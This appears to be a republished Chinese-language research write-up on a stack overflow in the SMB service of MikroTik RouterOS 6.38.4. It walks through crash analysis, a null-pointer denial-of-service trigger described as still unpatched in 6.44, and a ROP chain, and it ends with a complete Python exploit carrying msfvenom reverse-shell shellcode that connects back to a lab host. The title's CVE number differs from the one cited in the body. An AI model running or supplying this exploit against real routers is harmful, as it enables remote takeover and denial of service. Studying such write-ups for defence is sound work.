RouterOS SMB RCE CVE-2018-7554 Analysis

栏目: 编程工具 · 发布时间: 7年前

内容简介:在对Fuzz出crash部分感兴趣的同学可以参看原文,原文在分析crash时,突发奇想地单纯增加message内容长度触发了三处不一样的崩溃点,如下两个payload都能触发第一个崩溃点:然而作者直接朝着第二个看似能利用的崩溃点分析去了,我这里就用A填充的payload来分析第一处的崩溃,首先在调试器里看下栈回溯:

0x00 前言少叙

Finding and exploiting CVE-2018-7445 这篇文章中,作者使用Mutiny Fuzzer,将对SMB服务发送的初始化数据包进行dumb变异,发现崩溃进行调试后完成漏洞利用。刚好之前对RouterOS 逆向分析 过一段时间,本文就针对 6.38.4 的版本复现利用,并对一些文章中没有提到的点略作探究。

0x01 遗留指针

对Fuzz出crash部分感兴趣的同学可以参看原文,原文在分析crash时,突发奇想地单纯增加message内容长度触发了三处不一样的崩溃点,如下两个payload都能触发第一个崩溃点:

poc =  '\x81\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20'
poc += '\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00'
poc += '\x00\x20\x00\x00'

sample_poc = '\x81\x00\x00\x40'+'A'*0x40

然而作者直接朝着第二个看似能利用的崩溃点分析去了,我这里就用A填充的payload来分析第一处的崩溃,首先在调试器里看下栈回溯:

RouterOS SMB RCE CVE-2018-7554 Analysis

其中复制的目的地址edi为0产生崩溃,结合SMB的 协议 ,在函数调用流程中可知 sub_805038A 中,判断了message type是0x81,存储了长度然后传递空指针进入崩溃点:

RouterOS SMB RCE CVE-2018-7554 Analysis

开始的想法是对这个位置不变的堆地址(ASLR为1)下硬件写断点,实际只能捕获到初始化为空指针的过程。配合逆向注意到程序在 read 完后,又调用函数 sub_8050858 在堆上新生成个对象保存数据内容,并在后续过程中传递使用:

RouterOS SMB RCE CVE-2018-7554 Analysis

上图v38中保存的堆地址内容如下,其中 0x8076fc8+0xc 处就是崩溃时引用的空指针:

RouterOS SMB RCE CVE-2018-7554 Analysis

其实崩溃处没有A相关信息,就应该想到不是message内容导致的崩溃,而很可能是在处理数据包的过程中,没有进入某处逻辑导致某变量没有初始化,最后再引用时则导致了空指针。推测是message type的原因,在 0x8076fc8 处下硬点读断点,第一处触发在 sub_806DB00 函数中,我们payload message的长度为0x40不会进入67行的逻辑:

RouterOS SMB RCE CVE-2018-7554 Analysis

第二次的触发点就直接是将空指针传入崩溃点的过程了:

RouterOS SMB RCE CVE-2018-7554 Analysis

如果message的长度大于0x43,即会进入第一处的逻辑在函数 sub_80502D0 完成初始化操作。所以只要长度小于0x44就能稳定触发这个空指针引用的崩溃,而且该问题在最新的系统版本6.44中仍未修复,可在某些场景下造成拒绝服务攻击:

RouterOS SMB RCE CVE-2018-7554 Analysis

对于 sample_poc = '\x81\x00\x3e\x80'+'A'*0x3e80 触发的第三处崩溃,在 gef 中可看出是把栈打满了引发的段错误,和第二个崩溃点的可利用性一样。至于本文开始提到的可完成漏洞利用的第二个崩溃点,详见后面的小节内容:

RouterOS SMB RCE CVE-2018-7554 Analysis

0x02 漏洞分析

紧接上文如果修改message长度为0x44,进入处理后继续执行则触发了和原文中一样的第二处崩溃,其中的eip被覆盖为非法地址,像是一个溢出漏洞而且利用的可能性很大:

RouterOS SMB RCE CVE-2018-7554 Analysis

接下来需要定位溢出点,原文作者的思路是查看后端程序的输出,根据字符串定位至相关环境,然后单步执行观察栈帧和寄存器的情况确定溢出函数:

RouterOS SMB RCE CVE-2018-7554 Analysis

结合之前的逆向我们知道,在判断message type为0x81后先经过 sub_806DB00 函数的初始化,随后调用 sub_8054A76sub_8054A05 过程中都有传递栈地址,最后输出 New connection: ,那么问题很可能存在于后两者中,借用原文的伪代码展示 sub_8054A76 的逻辑:

RouterOS SMB RCE CVE-2018-7554 Analysis

其解析源字符串保存至栈地址上,并用 . 字符作为分隔符。按照 sub_8054A76((int)&v60, (unsigned __int8 *)(v4 + 34)); 的调用方式,源地址是message指针偏移34字节内容可控,目的地址为栈地址,解析过程中没有边界检查导致溢出,可影响前一栈帧进而覆盖eip。

原文说这个SMB溢出漏洞在 6.41.3 修复了,其做法是限制复制的长度只能是32字节,一种删减功能的做法:

RouterOS SMB RCE CVE-2018-7554 Analysis

0x03 漏洞利用

这是一个比较简单的溢出漏洞,所以利用姿势比较常规,调试过程中需要注意上下文环境。程序开启的保护机制只有个NX,可使用ROP调用mprotect函数添加内存的可执行权限,系统ASLR为1,可以考虑在brk分配的heap上,也就是message中携带shellcode,mprotect后调转执行。

我个人比较喜欢静态地确定偏移,v60的地址为 ebp+var_3C 即向下0x40个字节可覆盖至eip,试水如下:

poc =  "\x81\x00\x00\x68" # header
poc += "A" * 34           # padding
poc += "\x44" * 1         # length
poc += "B" * 64           # padding
poc += "C" * 4            # bof eip
poc += "\x00" * 1         # end

溢出后虽然还调用了 sub_8054A05 ,但我们在漏洞利用阶段不要太拘泥于逆向分析,直接动态调试可加大效率,可知该函数对我们的payload并没有什么影响:

RouterOS SMB RCE CVE-2018-7554 Analysis

ROP链的构造和原文中的大同小异,可以选择更加高效的gadget来组合,其中学到的是在vDSO中调用 __kernel_vsyscall 系统调用的汇编指令,而且该地址 不受 RouterOS系统中ASLR的影响,照葫芦画瓢写了下:

rop = ""
rop += p32(0x08048eec) # pop eax ; ret
rop += p32(0x7d)       # eax -> mprotect system call
rop += p32(0x080543e7) # pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += p32(0x7)        # edx -> prot for mprotect
rop += p32(0x14000)    # ecx -> len for mprotect
rop += p32(0x08074000) # ebx -> addr for mprotect
rop += p32(0x90909090) # esi -> junk
rop += p32(0x90909090) # edi -> junk
rop += p32(0x90909090) # ebp -> junk
rop += p32(0xffffe422) # int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret
rop += p32(0x90909090) # ebp -> junk
rop += p32(0x90909090) # edx -> junk
rop += p32(0x90909090) # ecx -> junk
rop += p32(0xffffffff) # addr for shellcode in heap

紧接着添加120字节的 \x90 作为shellcode,想看看rop中有没有被bad char影响,header中message的长度就是 34+1+64+64+1+120=0x11c ,可发送数据包后根本没有进入漏洞逻辑,调试可知在 read 数据过程中莫名奇妙地少了4个字节,讲道理程序只有一处 read 函数的触发而且count为0x10000,此处疑问只能求师傅们教教我了:

RouterOS SMB RCE CVE-2018-7554 Analysis

程序在处理message之前还会校验一下长度,因为接收的长度小于header中的长度,程序直接返回也就不能到达漏洞点了:

RouterOS SMB RCE CVE-2018-7554 Analysis

这里推测可能是存在bad char或者程序逻辑和我逆向预期的不同,有一个规避的方法就是在上图中是可以使接收的数据长度大于header中的长度字段,其会根据长度字段生成一个新的message对象传递给后续函数使用。还注意到 read 接收的数据保存在堆地址上并没有释放掉,可以考虑使用其中保存的原始shellcode的固定地址:

RouterOS SMB RCE CVE-2018-7554 Analysis

最终完成执行权限的添加后,查看该堆地址的内容是否有被破坏,发现虽然有所偏移但shellcode的起始地址还是固定不变的:

RouterOS SMB RCE CVE-2018-7554 Analysis

综上,可以构建exploit如下,完成反弹 shell 的操作:

#!/usr/bin/env python

import socket
import struct

p32 = lambda x : struct.pack('I', x)

header = "\x81\x00\x01\x1c"

padding = "A"*34 + "\x80" + "B"*64

rop = ""
rop += p32(0x08048eec) # pop eax ; ret
rop += p32(0x7d)       # eax -> mprotect system call
rop += p32(0x080543e7) # pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += p32(0x7)        # edx -> prot for mprotect
rop += p32(0x14000)    # ecx -> len for mprotect
rop += p32(0x08074000) # ebx -> addr for mprotect
rop += p32(0x90909090) # esi -> junk
rop += p32(0x90909090) # edi -> junk
rop += p32(0x90909090) # ebp -> junk
rop += p32(0xffffe422) # int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret
rop += p32(0x90909090) # ebp -> junk
rop += p32(0x90909090) # edx -> junk
rop += p32(0x90909090) # ecx -> junk
rop += p32(0x080778e0) # addr for shellcode in heap

end = "\x00"

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.103 LPORT=4444 -f python -v shellcode
shellcode =  ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
shellcode += "\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
shellcode += "\x68\xc0\xa8\x38\x67\x68\x02\x00\x11\x5c\x89\xe1"
shellcode += "\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52"
shellcode += "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

shellcode += "\x90" * (120+40-len(shellcode))

exploit = header + padding + rop + end + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.102', 445))
s.sendall(exploit)
s.close()

RouterOS SMB RCE CVE-2018-7554 Analysis

0x04 总结反思

  1. 调试有方法:在根据crash定位问题点,和判断crash的可利用性时,通常考察的是调试的技巧和思路,需要增强相关的系统知识才能更高效。
  2. 利用与逆向:在定位至漏洞点并确定利用方案后,虽然逆向必不可少但也不能太钻牛角尖,忽视了漏洞利用的最终目的。
  3. 利用精简化:本文的利用还是靠着固定堆地址,程序中应该还有一个固定堆地址是可利用的,但应该还有堆喷和上下文相关的更加精简优雅的利用方式,感兴趣可以探究下。
  4. 深入实地里:漏洞看起来简单实践起来终归是能学到东西的,脚踏实地的话,RouterOS的 这个 整数溢出的利用还是很有意思的。

以上所述就是小编给大家介绍的《RouterOS SMB RCE CVE-2018-7554 Analysis》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Programming Collective Intelligence

Programming Collective Intelligence

Toby Segaran / O'Reilly Media / 2007-8-26 / USD 39.99

Want to tap the power behind search rankings, product recommendations, social bookmarking, and online matchmaking? This fascinating book demonstrates how you can build Web 2.0 applications to mine the......一起来看看 《Programming Collective Intelligence》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换